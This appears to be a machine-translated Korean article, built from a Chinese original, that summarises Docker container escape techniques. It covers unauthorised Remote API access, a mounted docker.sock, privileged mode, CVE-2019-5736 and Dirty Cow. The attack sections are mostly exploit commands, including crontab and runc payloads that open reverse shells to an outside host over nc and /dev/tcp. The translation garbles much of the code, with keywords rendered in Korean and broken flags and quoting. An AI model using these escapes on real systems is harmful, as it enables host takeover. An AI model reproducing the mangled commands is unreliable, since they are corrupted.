제목 : Docker Escape 관련 요약

Docker 逃逸相关总结​

1 Docker 核心技术​

Docker는 개발자가 모든 응용 프로그램 및 종속성을 컨테이너에 포장 한 다음 인기있는 Linux 시스템에 게시하여 테스트 환경과 생산 환경간에 불일치를 완벽하게 해결할 수있는 오픈 소스 애플리케이션 컨테이너 엔진입니다. 기존 가상화 기술과 비교하여 Docker 컨테이너는 호스트 커널을 직접 사용하며 하드웨어 가상화가 없으므로 훨씬 가볍습니다.
Docker는 외모 이후 종종 가상 머신과 비교되었습니다. 어떤 사람들은 Docker가 가상 기계라고 생각합니다. 일반적으로 가상 머신은 하이퍼 바이저를 사용하여 메모리, CPU 등을 가상화합니다.
그림을 보자 : 우리는 그림의 직사각형을 컴퓨터로 간주하고 내부의 원은 프로세스 후 프로세스이며 동일한 컴퓨터 자원을 사용하며 서로를 볼 수 있습니다.
20210203145133.png-water_print

Docker는 무엇을 했습니까? Docker는 그들에게 그들에게 껍질을 추가하여 그들을 격리시키고, 현재는 서로를 볼 수 없지만 지금은 지금과 같은 자원을 사용하여 지금도 환경에서 실행됩니다. 우리는 그들 사이의 차이와 그들이 껍질을 벗기기 전에 서로 의사 소통 할 수 없다는 것입니다. 이 껍질을 외부 내부로 움직일 수 있지만 내부 바깥쪽으로 이동할 수는없는 일방 통행 도어로 간주 할 수 있다고 말해야합니다. 이것이 컴퓨터에서 의미하는 바는 외부 프로세스가 내부 프로세스를 볼 수 있지만 내부 프로세스는 외부 프로세스를 볼 수 없다는 것입니다.
20210203145155.png-water_print

1.1 namespace​

네임 스페이스는 프로세스 트리, 네트워크 인터페이스, 마운트 포인트 및 프로세스 간 통신과 같은 리소스를 분리하기 위해 Linux가 제공하는 방법입니다. 커널 수준의 환경 격리입니다. 실제 운영에서 여러 서비스 간 상태 또는 자원이 서로 영향을 미칩니다. 각 서비스는 다른 서비스의 프로세스를 볼 수 있으며 호스트 시스템의 모든 파일에 액세스 할 수도 있습니다. Docker의 목적은 동일한 기계의 다른 서비스가 여러 기계에서 실행되는 것처럼完全隔离을 달성 할 수 있다는 것입니다. 이를 위해서는 프로세스를 작성할 때 네임 스페이스를 지정해야합니다.
Linux의 네임 스페이스 메커니즘은 clone_newcgroup, clone_newipc, clone_newnet, clone_newns, clone_newpid, clone_newuser 및 clone_newuts를 포함한 다음 7 가지 네임 스페이스를 제공합니다. 이 7 가지 옵션을 통해 새 프로세스를 생성 할 때 호스트 머신에서 새로운 프로세스를 분리 해야하는 리소스를 설정할 수 있습니다.
위에서부터 Docker가 가상화 기술을 사용하지 않으며 격리 기술임을 알 수 있습니다. Linux 명령에 익숙하다면 Docker가 높은 수준의 chroot라는 것을 이해할 수도 있습니다.

1.2 docker 安全机制​

Docker는 격리 기술을 사용하기 때문에 여전히 호스트의 커널, CPU 및 메모리를 사용합니다. 이것이 보안 문제를 가져올 것인가? 대답은 그렇습니다. Docker는 어떻게 보호합니까?
Docker에 대한 많은 보안 메커니즘이 있습니다 : Linux 기능, Apparmor, Selinux, Seccomp 등.이 기사는 주로 Linux 기능에 대해 이야기합니다.
Docker는 기본적으로 사용자 네임 스페이스를 분리하지 않기 때문에 Docker 내부에서 /etc /passwd를 볼 때 UID가 0이라는 것을 알 수 있습니다. 그러나 iptables -l과 같은 일부 명령을 사용하면 권한이 충분하지 않다는 메시지가 표시됩니다.
이것은 Linux 기능 메커니즘에 의해 구현됩니다. Linux 커널 버전 2.1 이후 운영 체제에서 수퍼 사용자/일반 사용자의 개념을 깨뜨리는 기능 개념이 도입되었으며 일반 사용자는 수퍼 사용자 만 완료 할 수있는 작업을 수행 할 수도 있습니다.
Linux 기능에는 38 가지 유형이 있으며 일부 시스템 호출에 해당합니다. Docker는 기본적으로 만 가능합니다. 이것은 많은 안전 문제를 피합니다. Docker 운영에 익숙한 사람들은 Docker를 열 때 -privileged=true 인 매개 변수를 추가 할 수 있으며 모든 기능을 켜는 것과 같습니다. docker {container.id}를 검사하여 Capaadd 항목의 추가 기능을 확인하십시오.
20210203150136.png-water_print

2 判断是否在 Docker 容器中​

우선 Docker 환경에 일반적으로 사용되는 두 가지 탐지 방법이 있는지 확인해야합니다.
/.dockerenv 파일이 있는지 확인하십시오
/proc/1/cgroup에 Docker와 같은 문자열이 포함되어 있는지 확인하십시오.
현재이 두 가지 검출 방법은 비교적 효과적입니다. 마운트 감지, FDISK -L과 같은 하드 디스크를보고 PID 1의 프로세스 이름을 판단하는 것과 같은 다른 탐지 방법을 사용하여 판단을 돕는 데 도움이 될 수 있습니다.
20210203150518.png-water_print

3 配置不当引发 Docker 逃逸​

3.1 Docker Remote API 未授权访问​

취약점 간단한 설명 : Docker Remote API는 Docker 명령을 실행할 수 있고 Docker Daonmon은 0.0.0.0으로 자리 잡고 API를 직접 호출하여 Docker를 작동시킬 수 있습니다.
이 방법은 컨테이너를 마음대로 시작하고 호스트의 /etc 디렉토리를 컨테이너에 장착하여 파일을 읽고 쓸 수 있도록하는 것입니다. Crontab 구성 파일에 명령을 작성하여 쉘을 반사 할 수 있습니다.
exp :
1
2
3
4
도커 수입
클라이언트=docker.dockerClient (base_url='http://your-IP:2375/')
data=client.containers.run ( 'alpine:latest', r '' ''sh -c 'echo' * * * */usr/bin/nc your -ip 21 -e/bin/sh '/tmp/etc/crontab' '', remove=true, volumes={ '/tmp'3360 {bind':'/tmp ', et 'mode ':'rw '}}))

3.2 docker.sock 挂载到容器内部​

시나리오 설명 : Docker의 Docker, Docker의 Docker, Docker 컨테이너에서 호스트 Docker를 호출하고 실행하고 Docker 파일을 장착하고 Docker 호스트의 Docker.sock 파일을 컨테이너에 구체적으로 다음 :
1
2
3
4
5
Docker Run ---RM -it \
-v /var/run/docker.sock:/var/run/docker.sock \
-v/usr/bin/docker:/usr/bin/docker \
우분투 \
/bin/bash
취약성 재발 :
컨테이너에서 docker.sock을 찾으십시오
1
2
루트@95a280bc5a19: /# 찾기/-name docker.sock을 찾으십시오
/run/docker.sock
컨테이너에서 호스트 Docker 정보보기 :
1
docker -h unix: ///var/run/docker.sock info
새 컨테이너를 실행하고 호스트 루트 경로를 장착하십시오.
1
Docker -h Unix: ///var/run/docker.sock run -it -v/:/test ubuntu/bin/bash
새 컨테이너의 /테스트 디렉토리에서 호스트의 모든 리소스에 액세스 할 수 있습니다. 다음 단계는 SSH 키를 작성하거나 예정된 작업을 작성하여 쉘을 얻는 것입니다.

3.3 Docker 高危启动参数​

Docker에는 비교적 위험이 높은 스타트 업 명령이 있으며 컨테이너에게 더 큰 권한을 부여하고 특권 작업을 수행 할 수 있습니다. 특정 조건에서는 용기가 탈출 할 수 있습니다.
1
2
3
4
5
6
7
8
9
Docker Run -rm -it
-프라이버시
-v /: /소프트
--cap-add=sys_admin
--- net=호스트
-pid=호스트
-IPC=호스트
우분투
/bin/bash

特权模式 –privileged​

권한이있는 모드를 사용하여 컨테이너를 시작할 때 Docker 관리자는 마운트 명령을 통해 외부 호스트 디스크 장치를 컨테이너에 장착하여 파일 읽기 및 전체 호스트에 대한 권한을 얻을 수 있습니다. 또한 예약 된 작업 등을 작성하여 호스트에서 명령을 실행할 수 있습니다.
권한 모드를 통해 컨테이너를 실행하십시오.
1
Docker Run -Itd -Privileged ubuntu:latest /bin /bash
컨테이너에서 디스크 파일을보십시오.
1
fdisk -l
새 디렉토리로 마운트 /데브 /SDA1
1
2
mkdir /테스트
마운트 /데브 /SDA1 /테스트
예정된 작업을 호스트 머신에 작성하십시오
1
echo ' * * * * */bin/bash -i /dev/tcp/172.19.0.1/4444 01'/test/var/spool/cron/crotabs/root

3.4 Docker 软件设计引起的逃逸​

3.4.1 CVE-2019-5736​

CVE-2019-5736은 CVE 취약점 수입니다. Runc는 원래 Docker의 일부로 개발되었으며 나중에 별도의 오픈 소스 도구 및 라이브러리로 추출되었습니다. 전체 Docker 아키텍처가 작동하는 동안 Containerd는 Docker에게 컨테이너를 실행하는 API를 제공하고 두 개는 GRPC를 통해 상호 작용합니다. 컨테이너는 마지막으로 runc는 실제로 컨테이너를 실행하는 데 사용됩니다.
影响版本Docker 버전=18.09.2
runc 버전=1.0-rc6
利用条件:공격자는 이미지를 제어하고 생성 된 컨테이너를 추가로 제어 할 수 있습니다.
공격자는 기존 컨테이너에 대한 쓰기 권한이 있으며 Docker Exec를 통해 입력 할 수 있습니다.
漏洞复现:테스트 환경 미러를 다운로드하여 설치하십시오
1
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/Raw -o install.sh bash install.sh
POC를 다운로드하고 스크립트를 수정 한 후 컴파일하십시오
1
2
3
4
5
6
7
8
9
10
11
12
# POC 다운로드
git 클론 https://github.com/frichetteten/cve-2019-5736-poc
# 페이로드 수정
vi main.go
페이로드='#!/bin/bash \ n bash -i /dev/172.19.0.1/4444 01'
# 페이로드를 컴파일하고 생성합니다
cgo_enabled=0 goos=linux goarch=amd64 Go Build main.go
# Docker 컨테이너에 복사하십시오
Docker CP ./Main 248F8B7D3C45:/TMP
컨테이너에서 페이로드를 실행하십시오.
1
2
3
4
5
root@d1b112ea4a5e:/tmp# ./main
[+] 덮어 쓰기 /빈 /SH가 성공적으로
[+]는 PID: 16을 발견했습니다
[+]는 파일 핸들을 성공적으로 얻었습니다
[+] 성공적으로 쓰기 손잡이 {0xc8201231E0}
관리자가 임원을 통해 컨테이너를 입력하여 페이로드를 트리거한다고 가정합니다.
1
Docker exec -it cafa20cfb0f9 /bin /sh
172.19.0.1의 로컬 포트를 듣고 호스트가 반등 한 쉘을 성공적으로 얻으십시오.

3.4.2 CVE-2019-14271​

3.5 内核漏洞​

Dirty Cow (CVE-2016-5195)는 Linux 커널의 권한 에스컬레이션 취약성입니다. 이를 통해 Docker 컨테이너 탈출을 가능하게하고 루트 권한 쉘을 얻을 수 있습니다.
환경 준비 :
Docker는 커널을 호스트와 공유하므로 DirtyCow 취약성이있는 호스트 이미지가 필요합니다.
다운로드 및 실행할 컨테이너 추가 :
1
2
3
git 클론 https://github.com/gebl/dirtycow-docker-vdso.git
CD DirtyCow-Docker-vdso/
Sudo Docker-Compose Run DirtyCow /Bin /Bash
** 가용성 : ** 컨테이너를 입력하고 POC를 컴파일하고 실행하십시오.
1
2
3
CD /DirtyCow-vdso /
만들다
./0xdeadbeef 172.19.0.1:4444
20210203160116.png-water_print

172.19.0.1의 로컬 포트를 듣고 호스트가 리바운드 한 쉘을 성공적으로받습니다.
20210203160424.png-water_print
 
뒤로
상단